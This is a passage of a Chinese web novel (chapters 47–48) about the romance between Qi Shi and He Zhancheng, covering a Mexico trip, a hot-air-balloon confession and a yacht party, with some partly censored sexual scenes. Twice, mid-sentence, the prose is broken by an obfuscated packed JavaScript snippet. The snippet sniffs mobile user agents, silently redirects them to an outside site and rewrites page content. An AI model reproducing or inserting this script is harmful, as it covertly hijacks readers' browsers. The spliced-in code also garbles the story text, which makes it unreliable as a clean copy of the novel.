粗大喉结起伏滚动,他仰脖子猛灌掉一整瓶水,汗珠从额角滑落冷硬锋利的下颚线,浸湿薄薄的衣衫,露出胸膛饱满起伏的肌肉线条。 一米九的高挑身形沐浴在初晨阳光里,连背影都格外耀眼。 喝个水的功夫,不断有来搭讪的男女,还有人将他误认成明星,想要合影,他一律摆手说“sorry”,然后掏出手机,向他们展示他家少爷威风凛凛坐在游艇上冲镜头瞪眼摆臭脸的屏保照片—— 上周去岛上潜水,俩人吵架拌嘴,少爷大马金刀坐在甲板的沙发床上,励志要在外面晒死自己,戚时耐着性子劝人回去吃午饭,少爷跟他怄气,死活不肯动,戚时气得一笑,当场举手机对人来了个即兴抓拍,骗对方说,他拍了一张少爷满脸油腻腻的丑照,少爷脸色一变,腾地跳起来,死命追着他打,非让他把照片删了不可。 戚时糊弄着少爷吃完饭,才给人看一眼这张清爽动人的霸气帅照。 少爷哼一声,还没说点什么,戚时飞快凑人嘴边亲了一下,然后把少爷的帅照设置成自己的手机屏保。 少爷本来挺得意,没嘚瑟几分钟,说要不还是算了吧。 少爷担心他生意场上需要应酬交际,堂堂一个集团总裁,整日沉溺于儿女情长,对象还是个男的,给人看见实在有失身份。 戚时也思虑到这一层,说,以后干脆就对外宣称咱们是好哥们,屏保也是俩人闹着玩设置的,没人会认真计较这些。 少爷笑了笑,说也行。 “我们自己知道就好了。”戚时说。 “知道什么?”少爷又逗他。 “我爱你。” 少爷从此就很少再逗他了。 戚时喜欢用这么简单明了的方式向众搭讪者表明他名草有主了。 众搭讪者意料之中,遗憾一笑,见到少爷照片,不禁夸赞起他和少爷的般配来,还祝愿他们会一直幸福。 戚时也觉得他和少爷会一直幸福。 一晃眼,来坎昆已经大半个月了,他的寸头逐渐长起来,茉莉再三要求,他作为集团CEO必须把短发留起来,否则成天顶着一头青皮,模样实在凶悍,跟个社会不良分子似的,这样谁还肯和擎荣谈生意? 戚时专门跑去征询过少爷的意见,问人更喜欢他留短发还是寸头? 少爷说,当然是寸头啊,你留寸头特别带劲,人长得又猛又显年轻,感觉操起来会很爽。 戚时果断决定要把头发留起来! 远远的,何棣坤半岛型的海景别墅沐浴着晨曦,巍峨矗立于黑礁岩石之上,宛若一座盘踞在云霄之巅的欧式古堡。 戚时嘴角轻扬,一想到他的程儿还埋头钻在被窝里睡懒觉,穿着那条碎菊花蓝底的大裤衩,顶着一团乱糟糟的鸡窝头,偶尔做美梦了还会嘿嘿的笑出声来,他整颗心就不禁觉得十分愉悦快活。 他掀衣摆擦了擦汗,将蓝牙耳机里播放着的动感十足的DJ切换为舒缓些的音乐,给他的小懒猪发过去一条“起床没,太阳晒屁股了”。 两分钟过去,没等到人回复,倒收到裴玉和茉莉几乎同一时间发给他的消息。 小裴:时哥,有个事儿想和你说一下【跪地】 茉莉:老板,算我一个【跪地】 戚时一乐,分别回复那俩人一句“你俩好上了?” 小裴:…… 茉莉:…… 俩人异口同声:不是! 戚时干脆建了个临时三人群,发话问: 怎么了? 裴玉和茉莉一人一句,争先恐后着发语音解释。 小裴:“我早上来公司找你,你不在,我就问茉莉姐你去哪儿了?” 茉莉:“我当时在忙,忘了他貌似知道您和三少的事,随口就把您去坎昆出差的事跟他说了。” 小裴:“茉莉姐说你快一个月没回来了,那时间点刚好是三少离开燕京的日期,我就猜,你可能去找他了。” 茉莉:“我看出他是想通过您来找到三少在哪儿,就拦了几句。” 小裴:“然后我就确信,你肯定是去找三少了!” 茉莉:“然后他就要订机票,也想去找三少!” 小裴:“然后她就吼了我一句‘别捣乱’!” 茉莉:“然后他就说您不了解三少,他是去牺牲自己,挽救您于水火之中!” 小裴:“然后她就说,你这么长时间没回来,肯定是和三少在一起了,我去了只有挨揍的份儿!” 戚时黑着脸打断:“你俩搁这儿念课文呢,说重点!” 二人不约而同发一条: “然后,董事长突然就出现了,问我们三少是谁?” 戚时吓一跳,心脏突突了两下,问:“那你们给他说了?他什么态度?” 小裴:“他有点不敢相信。” 茉莉:“找我们反复确认,是不是沪上何澜家的老三。” 小裴:“然后他就说你出息了。” 茉莉:“董事长临走之前交代我们,让您度完了假带着三少去找他。” 戚时一顿,不太乐意地问: “老子搞对象,找他干什么?” “他说,他也想看看你是怎么老牛吃嫩草的。” 戚时:“…………” 47.第47章 何湛程这周开始看书了。 少爷破天荒收敛起往日浮躁做派,一整天除了吃饭喝酒上床做*爱,就把自己闷在书房电脑桌前,埋头狂翻堆在手边的一摞全英教材和数不清的论文复印件,戚时一日三餐亲自上楼给少爷送饭,习惯性瞥两眼少爷的阅读书物,只能看懂一本《Econometrics Analysis: Global Edition》—— 的书名。 《计量经济分析》。 这书大概内容戚时有过了解。 他读硕的时候,有那么一段格外励志的日子:每星期三,早六点从床上跳起来,和宿舍一帮哥们跑去燕大金融系蹭座,只为听一节燕大早八的全英授课的计量经济学。 据说和燕大校花同一个课时表。 他凭着一张帅脸,不费吹灰之力就得到了校花的青睐,校花人美心善,把自己课本分享给他看,还贴心给他翻译当堂课的内容,可他低头一看那满纸页的英文,蚯蚓小字犹如魔咒一般在他脑髓里乱爬,他就开始不耐烦。 俩人在暧昧阶段的时候,校花说她要帮他补课,条件是,他每周三得请她吃饭看电影,有空了还得开着那辆奔驰大G带她去燕体玩儿。 他想也不想就拒绝了,说俩学校离太远了,开车要半个多小时呢,他腻了,以后就不来了。 校花大半夜发八百字小作文,问他是不是出轨了? 他震惊于她的脑回路,回一句“咱俩什么时候在一起过?” 第二天早,他被实名挂在燕体和燕大的学校论坛上,大红字“渣男”的标签贴在他英俊潇洒的打篮球帅照上,不到仨小时,他被骂了一千多层楼,从此“戚时”的大名就在这两所学校闹得人尽皆知,可谓是红极一时。 不过他后来还是无缝衔接谈上了两个貌美如花的文科硕士。 没法子,他实在太帅了。 新女友全都有一个通病:知道他无父无母,于是格外包容他的野性子,可谈久了,她们就开始变得特别喜欢管教他。 督促他努力学习,不允许他虚度光阴,一日查六次岗,翻他手机,不准他和任何异性进行肢体接触,还有,他抽烟喝酒也要戒掉,然后许下美好心愿,希望他在毕业后和她一起奋斗打拼,两人共同组建一个美好的家庭。 女友说,就算他不差钱,他也得成为一个勤恳上进的好男人,否则他整天拈花惹草游戏人间,会让她觉得很没安全感。 他当然就和她分手了。 不止这一个她,还有很多个她。 他就不是那种能给别人安全感的男人。 这一点,她们在最初认识他的时候就知道了。 既然知道,为什么又要费尽心机地改变他? 从始至终,从小到大,都应该是别人给他安全感才对。 他这种没有梦想的人,为什么要为了别人的愿望而努力奋斗? 他家少爷就不一样了。 少爷正式向他发出邀请,一句“跟我回曼哈顿,我赚钱养你”,戚时就知道自个儿这回选对了人。 何湛程,何三少,自幼接受顶尖精英教育,智体美劳全面发展,念起书来更是如鱼得水游刃有余,当然跟他不一样。 戚时每次走进书房,不禁屏住呼吸,放轻脚步,见少爷凝眉冷肃,一脸的淡漠疏离拒人千里之外,那双冷白修长、美得宛若艺术品的手,从容而紧密地悬在键盘上敲击,他侍立在旁边,一瞥之下,只见满屏密密麻麻的英文论文。 显示屏的亮光映射在那人年轻而睿智的深眸里,戚时望着对方全神贯注盯着论文的侧脸轮廓,无数次心跳如狂。 同时也感到十分紧张。 戚时不傻,知道少爷这是在准备回哥大念书了,之前二人就“纽约还是燕京”协商了好几次,都以失败告终,按照何湛程叛逆的犟性子,他就算说一百遍“跟我回燕京”,这人也不会老老实实跟他走。 戚时就去找何棣坤,说他准备走了。 何棣坤点点头,说了句行。 这晚,何湛程高昂着下巴,梳着龙须短背的发型,一袭藏青色西服正装,两手插兜,拽气冲天,迈着傲人的大长腿,威武堂堂亲自下楼来吃饭。 烛火辉煌的晚餐桌上,何湛程笑容满面地举起香槟,跟两个二哥庆祝,说他申请入学的线上笔试、面试都通过了,从今天起,他要给自己放假! 戚时漫不经心地跟他碰了下杯,说了句“恭喜”。 何棣坤看热闹不嫌事大,贼笑着冲人“哦”一声,视线锁定在自家老弟脖子上的吻痕,正要打趣几句,猛然又想起上次老三说戒过药的事。 怎么着都是亲兄弟,何棣坤怕人重新回去上学再累着,已经到嘴边的流氓话就变成了谆谆嘱咐: “你就玩儿着学行了,就那么几张破纸、几个破学位,都是糊弄人的东西,哪有你的身体重要?你真想要,回头我给你弄个十张八张的,咱犯不着累死累活的跟他们那群人耗。” 何棣坤知道他家老三这几年没少瞎整事儿,17岁还在读国际高中,成天翘课跑到集团跟董事会那帮老家伙学炒股,手里赚了点钱,全花在玩儿女人和男人身上了。 要么说是“阔少”呢,虽然没给床伴分手费的习惯,但老三喜怒无常的,高兴了随便逮个人就一掷千金,混夜店、包酒吧,玩儿疯了当众撒个八九十万都是常有的事儿,还偷偷背着他和老大,混进去哥俩开的私人会所,包养男宠女宠无数。 坊间曾传出何三少一夜玩过六个男女,老三私下跟他们哥几个辟谣,说其实才四个。 可从此落了个“沪上第一浪子”的名号。 这远比他大哥、二哥还要嚣张高调的、靠一段风流韵事名声远扬的“何三少”,放眼整个沪圈,更是无人不知,无人不晓。 十八岁,老三上大学,家里老爷子不放心,托几个在华尔街开公司的美籍华裔朋友帮忙看着点儿,生怕他这个爱惹事的宝贝疙瘩离了家就更野了,有个做投行的老董和老爷子交情不错,就把何老三弄进自己公司做数据分析实习生,还往老三身边指派了不少青年才俊,试图用一帮高智商的业界精英碾压掉老三身上的少爷病。 第一年还好,老三刚到美国,一切都新鲜,人也机灵,平时学习工作忙得连轴转,没机会作恶多端,只是浅浅地施展了下魅力,把老董派来带他的那群精英们全都睡了一个遍,还蛊惑得一个资深金融大佬成了忠心耿耿追随他的小尾巴; 第二年,这小子就憋不住了。 虽然何棣坤很不想承认,但老三的确是天赋异禀,这人几乎炫技式逞强,日夜兼修,攻读两个学位,把学分修到4.0,工作也极为出色,才一年半的时候就升职加薪,自认为想学的已经全部学到手,又跳槽去别家公司学做对冲基金。 何老三,年少轻狂,不知所谓,小小年纪,居然就学着金融大佬玩儿建仓做空那一套,拿着家里给的零花钱,在私人别墅里成立了个小金融科技公司,初时操纵稳妥,赚了三千多万美元,尝到甜头后,变本加厉在股市大肆施展身手,很快,局势开始失控,本来看跌的目标公司,某日突然宣布他们即将发布一款新能源科技产品,消息刚放出来,该公司股价暴涨540%,何老三一夜之间赔进去二百亿美元,气得心脏病复发,直接就晕进了医院。 二百亿美元,哪怕是何老大亲自带人去补救,整个何氏集团也要跟着大出血。 何湛程,他们亲爱的惹祸精弟弟,一瓶子不满,半瓶子晃荡,十九岁的年纪,凭借一己之力,不知从哪儿撬动了上亿的美金,险些搭进去自己半条命。 值得庆幸是,有那位金融大佬在幕后坐镇,早在老三搞小动作之前,那人就提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461703|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下了后手,所谓“多空策略”,事后不仅帮老三轻松摆平债务危机,还多盈利十多万美元。 据说那个金融大佬自从跟老三好上后,就一直住在老三的别墅里,那次股市波动有惊无险,可他家老三向来顺风顺水惯了,猝然遭逢巨大挫败,本就阴晴不定的性情变得更加诡谲了。 金融大佬用盈利的十来万美元彩头,给何老三买了只戒指,单膝跪地,在老三的病床前求婚,何湛程却视这枚戒指为讽刺他操盘失误的耻辱,勃然暴怒,抄起手边一切东西,连扔带砸,把那人给赶走了。 何棣坤当时去纽约长老会医院接老三回国,和那个金融大佬打过几次照面。 对方是个三十来岁的法国人,叫洛厄尔,一头灰粽浅色卷发,深白皮肤,淡蓝眼珠暗含几分忧郁,清俊隽秀的容颜很显年轻。何棣坤和人聊没两句,就知道了对方是大有来头的世家贵公子。 洛厄尔家族是全球奢侈品牌行业的绝对统治者,整个家族持有八十二个奢侈品牌的股权,洛厄尔的父亲目前个人身价是2500亿美元,洛厄尔与他其余四个兄弟姐妹也均进入福布斯富豪榜,实力不容小觑。 何棣坤于是就知道老三炒股的那些保证金从哪里来的了。 也正因此,老爷子和何闽轩不敢分给老三一分一厘的何氏集团的股份。 何湛程如果缺钱,就只能找老大要零花。 鉴于此人超凡绝伦的闯祸能力,何老三因此成为家族里唯一一个零花钱被管得死严的二代子弟。 何棣坤猜,最近半年老大想方设法地整老三,卡也给人停了,老三没了零花,出门在外连买个汽水都要看人脸色—— 堂堂何家何三少,十九岁就拿着上亿的美金在股市搅动风云,什么时候这么憋屈过? 这下斗志又被激发出来,或许还有那么几分想要带戚时去美国定居的成分在,反正,何棣坤知道他这个弟弟是决意要自力更生了。 何棣坤是欣慰的。 但内心也很怕这小子太年轻,怕人重回故地,再度惹出来麻烦。 于是话接上句,向何湛程笑着提议:“这次说什么都得痛痛快快玩儿一场了!我叫点人来,明晚咱们就去岛上办个游艇party,让大伙儿都给你庆祝庆祝!” 何湛程也想玩儿,正要脱口而出一句话“好啊”,余光一瞥,看到戚时坐在一旁埋头吃菜,怕他家大宝贝吃醋不高兴,就摇了下头。 “不了,我俩明天去墨城坐热气球,你自己玩儿去吧。” 戚时抬头看他一眼。 何湛程挑眉:“怎么,不想去?” 何棣坤忙道:“不影响不影响,你们白天随便去哪儿逛,大好的日子,晚上就叫上弟夫一块儿玩呗!” 何湛程正要拒绝,戚时轻轻握住他手腕,仰脸望着他:“程儿,去吧,我和你一起。” 何湛程纳闷戚时怎么突然转了性,这么温顺,实在不像戚老二的做派,但他内心又的确很想去玩,于是就没再多问。 笑着点头:“好。” “还有,”何棣坤打趣的目光在对面二人身上来回扫视,笑着提醒,“加州那俩天才也要来,你可得把你的人守紧点儿。” “他们不准来。”何湛程冷冰冰放话。 “为啥?” 何湛程一本正经道:“未成年儿童不许参加成人聚会。” 何棣坤不明所以,便听戚时问:“俩天才是谁?” 何湛程微微笑:“是两个比我还要年轻貌美的何家小辈,怎么,你很感兴趣?” 戚时也笑,牵着他手放到唇边,低头吻了一下:“我有你了。” 何棣坤哈哈笑起来。 窗外夜色撩人,仨人各怀心思,举杯相碰: “为老三!” “为我自己!” “干杯!” 48.第48章 晚饭过后,安德森开着何棣坤的劳斯莱斯魅影,将何湛程和戚时送往墨城的豪华酒店。 去特奥蒂瓦坎乘坐热气球需要从五点多从墨城出发,何棣坤在本地业务尚未涉及这个项目,幸而人脉广泛,由于他家老三当晚一时兴起,何棣坤紧急联络热气球公司的朋友,加价三倍,为弟弟和弟夫的蜜月旅包了个热气球。 何湛程对何棣坤提出表扬: 老二不恶搞他的时候,其实还挺靠谱的。 上月在瓜纳华托,戚时说还没看过奇琴伊察金字塔,何湛程后来抽空开车载着戚时去逛了一圈,俩人象征性拍了几张照片,买了几个金字塔微缩模型和冰箱贴纪念品,回家后谁也没提起过那趟旅程,纪念品也全都扔在了角落吃灰。 他们两个,一个年轻喜热闹,一个偏爱自然风光,都不是对博物馆或者文明遗址感兴趣的人,虽然戚时没提,但何湛程从这人半夜频繁接起的电话、和最近愈发糟糕的睡眠状态能感受到,他家戚大总裁快要离开了。 他于是想到要带人从天上一览金字塔风光。 谁知道他们这份感情会维持多久呢? 何湛程只想尽自己最大可能,给戚时多增添几笔浓墨重彩的人生记忆。 现在两个二哥都以为他申请的是哥大的入学考试,接下来会去纽约,何湛程谁也没摊牌。 他看出来了,戚时这阵子和何老二走得很近,那俩人臭味相投,相见恨晚,天天晚上凑在一起喝酒唠嗑笑哈哈,现在关系好得都快成穿一条裤子的好哥们了,他得防着那俩坏哥哥合起伙来卖他。 何湛程觉得自己真是不容易,无论出门还是在家,他走到哪儿都这么如履薄冰。 他私心是让戚老二先走,他留在这儿待一阵子再回燕京,等戚大总裁对他想得寝食难安思念如狂、对他想得一天打N个电话、发99+消息哭诉的程度,他再潇洒帅气地从天而降,恩赐般和这个男人生活在一起。 这晚住酒店,两人洗完鸳鸯浴,事后,难舍难分地腻歪在一起。 戚时抱着何湛程坐在他腿上,二人肌肤相贴,穿着同款情侣T恤,他帮怀里人吹头发。 粗糙手指穿插过发间,何湛程眨眼望着镜子里的英俊男人,越看越爱。 没由来的,心中生出几分醋意。 “你以前也这么给你女朋友吹头发么?” 戚时一笑,说:“没有。” 何湛程双手闲闲地撑着他膝盖,仰起脸问:“那你怎么给我吹?” 戚时又笑:“你不也经常给我吹么?” 何湛程挑眉:“我什么时候给你吹——” 下一秒,老司机顿时领悟,臭脸瞪对方一眼。 戚时扬眉冲他坏笑。 何湛程眼神一暗。 这是一个单靠眼神就能勾起旁人情*欲的男人。 他咽咽唾沫,猛地转身扑上去,双腿盘在对方腰间,双手捧起戚时的脸,闭眼急促地吻了上去。 “你是我的!我的!” 戚时闷哼一声,不懂这小子抽什么风,赶忙关掉吹风机,稳稳将人给托住,一边与人激烈回吻,一边抱着怀里不断蹭他的火热身躯,和对方交|缠着滚上了床。 密密麻麻地吻落便全身,少年伏在他身上,分开了他的腿。 “戚时,今晚也给我吧……” 戚时耳根一热,不太自在地别过了脸。 大多时候他仗着年长者优势,理所当然地对所爱之人进行占有,偶尔,何湛程会反压过来,以一个惯经风月的成熟男人的姿态,*他,疼爱他,他便不禁觉得十分荒诞与羞臊。 如同与一个飘无定性的小孩戏耍,对方越是*,等到离开时,他就越没有安全感。 他爱这个人,于是放纵对方玩弄自己,心里又很怕某一日何湛程厌倦了将他抛弃。 这是他生命里唯一一个男人,除了这个人,他再不允许别人这样碰自己。 “程儿……”他喘息着,抱紧对方涌动的身*躯,低声问,“你以后能不能也只和我一个人……我不想……不想……你再跟别人……” “傻瓜,”身上人一笑,在他耳畔吹气,“那你可得天天挨操了,愿意么?” 戚时紧蹙着眉,额头发了一层薄汗。 他不愿意,却哑着嗓音“嗯”了一声。 他顾不得别的,他只觉得自己好爱他。 爱到所有一切都可以无条件投降。 “戚时,”那人抚摸过他的脸,又说,“你这个大傻瓜。” “如果我愿意做傻瓜,你就会爱我吗?” “那你得做超级无敌大傻瓜才行。” 他笑了,说:“好啊。” …… …… 那一夜他们缠绵很久,戚时忘记自己是怎么睡着的了,只是迷迷糊糊记得,事后何湛程在帮他擦身子。 每每发泄完欲望,何湛程就变回冷血无情的模样,做完了,丢他一个脊背,拉上被子自顾睡去,更不准他再乱碰他。 这骄矜任性的少爷从没像这样伺候过他。 早上醒来,那人吻在他眉心,淡薄的软唇,深邃含笑的眼眸,那般柔情地注视着自己。 被窝里,几根温凉指尖暗含挑逗地滑过他胸膛,戚时被撩拨得心猿意马,蓦地伸臂一揽,将人紧紧抱进怀里。 “程儿,别使坏。” 何湛程低低一声笑:“小气鬼。” “程儿。” “嗯?” 戚时埋头拱着人撒娇:“给个名分呗。” 何湛程轻推他一下:“去你的。” “名分,名分,名分,名分,名分。” 戚时喋喋不休,一个劲儿蹭他。 何湛程被逗得一笑,手指抚过他头发,勾起几缕绕着在指尖,慢悠悠道:“名分有什么用?如果喜欢,硬抢来也要占为己有;如果不喜欢,所谓的结婚宣誓也只是毫无意义的表演。” 要么说是同道中人呢,戚时对少爷这番高论深以为然,点点头:“这倒是。” 何湛程轻“嗯”一声,手掌大力地拍拍他脸蛋,说:“而且,不是你先说要跟我做好哥们的么,那咱们就继续做好哥们就行了呗。” 戚时:“…………” 之前那个大方无所谓的何湛程去哪里了? 这人怎么突然变得这么、这么、这么、这么小心眼!!! 热气球公司的接待人很早就开车来接他们,一帮人抵达郊外时,天还没亮。 墨西哥地处高原,昼夜温差大,戚时和何湛程穿着全黑冲锋衣,在等待他们的彩色热气球喷火时,二人搂着肩膀,让随行摄像帮他们拍了几张“哥们式的”、可以放在社交平台上正大光明纪念炫耀的合照。 拍完,戚时想要跟少爷牵手,再来几张“情侣式”的私人照片。 少爷下巴一抬,说真男人从不牵手。 戚时“哦”一声,大手掐着少爷脖子,将人提溜到自己身前,稍微低下点头,下巴搁在少爷右肩膀,另一手绕到少爷腰前,将人紧紧搂住,冲镜头摆了个强制爱的pose。 少爷被对方身躯挤压成一团,愤愤挣扎:“臭不要脸!” 戚时松开掐住人的手,搭在少爷左肩,低声催促:“快点儿,别闹!” 少爷哼一声:“那你把手放下来。” 戚时就松开揽住人腰的手。 少爷翻白眼:“笨蛋,另一只!” 戚时重新搂回人腰,落下左手。 身后喷火器嗡隆隆的巨大噪音下,对面摄像笑声爽朗,大声询问道:“Ready?!” 戚时抬左手冲人比划了个“OK”的手势。 何湛程气得一记肘击戳在身后人硬邦邦的腹肌上。 戚时没好气地拍了下他屁股:“老实点儿。” 趁摄像倒数三二一,何湛程一把拽过戚时乱动的手,和人十指紧扣,然后偏过头,闭眼吻在对方的左脸颊上。 口齿清晰且迅速无比: “狗男人,做我男朋友吧。” 戚时愣住,下一秒,笑眼弯起,满脸绽放出喜悦,将怀里人的腰搂得更紧。 远处摄像“咔”一声。 戚时沉浸在他梦幻般的幸福里:“好!” 鸦青色的清晨暗天渐渐露出一线鱼肚白,远山森林上空亮着星星,空旷平整的郊野,他与他的衣衫猎猎飞舞,身后,数不清的彩色热气球喷着紫红色烈焰,仿佛整个世界都燃烧起来。 如同对待一件易碎的稀世珍宝,戚时小心翼翼地捧起何湛程的脸,低头与对方接吻。 “湛程,我爱你。” *** 初晨第一缕阳光照耀下,漫山遍野的彩色热气球缓缓升空,何湛程和戚时挽着手,从云端俯瞰特奥蒂瓦坎这座众神之城。 戚时向少爷请教,这地方为什么叫“众神之城”? 少爷说,在阿兹特克神话里,特奥蒂瓦坎是第五太阳纪的诞生地,传说众神在这里牺牲自己跳入火中,化作太阳和月亮,赋予世界光明,而正对他们脚底的那一座日月金字塔,就被视为这一创世神话的象征。 戚时又好奇问,你怎么什么都知道? 少爷说,他之前在哥大念书的时候,他们家老二在墨西哥的项目才刚启动,那时候老二和集团一帮元老长期驻在墨城和当地上层走动,但是何老二不老实,成天到处惹事,没少挨长辈们的骂,何湛程天生喜欢凑热闹,寒暑假一有空了,就跑过来玩儿几天,顺便看看老二被那群叔叔伯伯骂死了没。 尽管知道有点不太可能,戚时还是忍不住问:“你一个人来?” 何湛程笑眼瞧他:“你觉得可能么?” 戚时醋意滔天:“和那个叫洛厄尔的人来?” 何湛程脸一黑:“何老二是想死么?他还真是什么都跟你说!” 戚时见他这么大反应,十分的醋意立刻膨胀成八百倍的不痛快,追问道:“你也带他去何棣坤的别墅住?你也和他去接吻巷?也和他睡情侣酒店?和他坐热气球?” 何湛程抄手就赏他一个大爆粟。 “我怎么可能和一个设计我的老东西走这么近!” 戚时爽了。 从何棣坤那里,戚时了解到何湛程和洛厄尔的故旧往事。 十八岁的少爷手段非凡,三分看脸,七分谋利,当初涉世未深,雄心勃勃,原以为自己能成为华尔街最年轻的操盘手,硬是把一个三十多岁的金融大鳄处成胯|下情人,纵使对方是个白肤美男,少爷却只为淘金套现,没对那人存多少情分。 没曾想,洛厄尔倒被少爷迷得七荤八素,不愧是浪漫的法国人,隔三差五就求个婚,一意孤行非要将流连花丛的少爷绑在身边。 可是浪名在外的何三少岂是一个洛厄尔能绑住的? 同居第二年—— 准确来说,洛厄尔住在少爷开在私人别墅五楼的金融公司里,何三少大老板住在楼下花天酒地。 洛厄尔向少爷索要名分不成,壕气掷出一亿美金,跟何湛程签了个对赌协议: 由何湛程选中一个公司将其做空,洛厄尔紧随其后将该公司做多,最后,输方无条件听从赢方。 何湛程是事后才反应过来自己被人糊弄了。 凭洛厄尔的手腕,毒辣的眼光,庞大的家族势力,无论此人想要操纵哪个公司,想要逆风翻盘简直易如反掌,初出茅庐的何湛程又怎么可能是他的对手? 但戚时的关注点是另一个: 他家少爷刚成年就啃过三十多岁的老肉,跟洛厄尔比起来,他简直不要太年轻! 于是,戚大总裁心怀明月,一派清风日朗,很坦然就接受了他和少爷年龄差七岁的事实。 夜幕很快缓缓拉下。 私人岛屿,海港码头,深海幽蓝。 一辆长达五十米、满载近百名宾客、香槟金粉光芒四射的白色超级游艇,在浪涛暗涌的加勒比海上经过两小时的保卫巡航,最终靠岸停泊,正式开启一场盛大欢闹的庆祝party! 露天甲板上,夜风吹拂过女宾晚礼服的裙摆,香槟酒液倒映着夜空繁星,在男客西装钻石袖扣处折射出清冽奢靡的光。 夜色撩人,海浪拍打船舷,富商与富豪,名媛与名流,觥筹交错之间,无尽的低语谈笑声。 角落里,二人即兴演奏组—— 左边,少年西装革履,一头靓丽的龙须短背,身姿笔挺修长,沐浴一身月色光华,正忘情潇洒地拉着小提琴;右边,英俊青年身穿一件敞着领口的骚粉衬衫,白西裤,深棕牛皮鞋,同样陶醉忘我地摇动着身姿,吹着金色的萨克斯,与身旁人默契地合奏。 是一首欢快短促的西班牙风情曲,音符跃动,曲调飞扬,彰显着两兄弟一个胜似一个的骚包性情。 这是一首令旁人听不到两分钟,就特别想转圈跳舞的曲调。 戚时正认真举着手机,满脸温柔地给他家正拉小提琴的天才男朋友录像,冷不丁镜头里闯入一对儿嬉皮笑脸、胡乱跳舞转圈的少年。 嗯……还是一对儿模样极为相似的少年。 卧龙凤雏,瞧一眼就知不是寻常简单人物。 二人演绎般,甜蜜蜜地抱在一起,在他镜头里左飘右滑,时而如敦煌飞天,翘着长腿,仙气飘飘;时而舞动探戈,纵情拉丁,貌似多才多艺;时而又在原地如陀螺般飞旋,一身休闲西装帅得潇洒迷人;时而又粗俗地扮着猴子捞月、猩猩擂胸,活像俩傻叉。 总之,此二人配合紧密,不安好心,故意挡他镜头。 戚时:“……” 这哪儿来的两个调皮捣蛋的坏小子,刚才上游艇的时候,他怎么没看见这俩? 戚时黑着脸,将手机揣回兜,冷哼一声,迈着长腿就朝那俩捣蛋鬼走过去。 不知道何棣坤又邀请了谁家的少爷,反正戚时知道,这俩货一定能听得懂中国话。 “啦啦啦啦——” “哦哦哦哦哦——” 俩少爷正闭眼装模作样抱在一起哼歌摇摆,假装看不到他的样子。 戚时冷笑,两掌伸出,一手摁住一个,撕面包一样,将俩人硬生生给撕了开。 肩膀嘎嘣一声,几乎骨折,俩货疼得蹙眉一叫。 戚时左右手使力,一手拎一个,问他们:“怎么,你俩认识我?” 俩货齐刷刷偏脸瞪他,异口同声呵斥:“你找死么?知道这是在哪里吗!不识相的东西,还不快放开我!” 戚时:“……” 得,这无比熟悉的,何家子弟的风范。 正待松手,身后乐声一停,一道冷冷的声音传来: “你俩找死么,不知道他是我的人?” 戚时闻声扭头,见何湛程双手拨开人群,沉着脸朝这边走来。 嘴角忍不住翘起,一股子嘚瑟劲儿打心底油然而生。 俩货被人拎在手里,惊讶地看着何湛程居然亲自下场来给这男人撑腰,立刻就意识到,这位刚才对着何湛程一脸痴呆相录像的英俊男人……似乎不只是单纯伴在何湛程身边的男宠。 俩货老实低头:“三哥。” 何湛程臭着脸,一人屁股上踹一脚:“这位是擎荣的总裁,‘戚时’的大名没听过?以后都给我放尊重点儿。” 好歹是音乐发烧友,半只脚蹚进了娱乐圈,又都是国内数一数二大集团的太子爷,卧龙凤雏对燕京擎荣影视略有耳闻,登时醒悟,心想不愧是他们三哥泡上的人,果然不是普通小白脸。 颇为识相地又冲戚时低头认错:“时哥。” 戚时痛快了,应了声“嗯”,撒手将俩货松开,站到何湛程旁边。 下巴冲那俩一抬,问着:“他们是?” “我一堂叔家的双胞胎天才,今年都17岁,在伯克利那边读大学。”何湛程搭胳膊在俩货肩膀,向戚时分别介绍道:“这个稍微靠谱点儿,叫何冲霆;这个,脑袋缺根筋,叫何厉风。” 何冲霆先笑着抬头解释:“时哥,我俩刚才跟你闹着玩儿呢,你别往心里去啊!” 何厉风跟着抬头笑:“是啊,我俩是看你像个不务正业的偷拍狂才逗你的,哪里能想到你还真是我们三哥的对象啊,哎呀,真是人不可貌相,海水不可斗量啊!” 戚时:“……” 戚时感慨:“看出是缺根筋来了。” 何湛程拍拍他肩:“是吧,虽然这俩长得差不多,实际上很容易分辨的。” 四人走进舱内坐下喝酒。 聊没几句,正说到何冲霆和何厉风今晚飞机延误,等到游艇巡航完靠岸了他们才上来时,何棣坤带着几个正笑声打闹的青年一窝蜂往楼下赌|厅走,这边两人连忙站起身,规规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474460|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩低头,问候一句“二哥好”。 何棣坤闻声止步,随手从使者托盘中端了杯香槟,冲二人遥遥一举:“你们尽兴,让老三带着你们玩儿。” 仰头将酒一饮而尽,啪地一下放回托盘,爽声笑着,兴冲冲和一帮哥们下楼打牌去了。 何冲霆和何厉风松一口气,重新坐回沙发。 戚时能看出,面对何棣坤,这俩小子挺有压力,一副老实乖乖相;面对何湛程,这俩就原形毕露,变得格外活跃嘴贫。 何湛程不痛快地嗤声道:“还不是因为你男朋友我连点家里的股份都捞不着?他们怕我也是怕我整他们,能跟怕老二老大一个样儿?” 抿了口酒,抬眼望向对面俩天才:“就你俩来了?” 何厉风“嗐”一声:“本来打算多带点人来宰你一顿,然后发现这是二哥的场子,花不着你的钱,倒不如见识见识我们三哥夫有意思!” 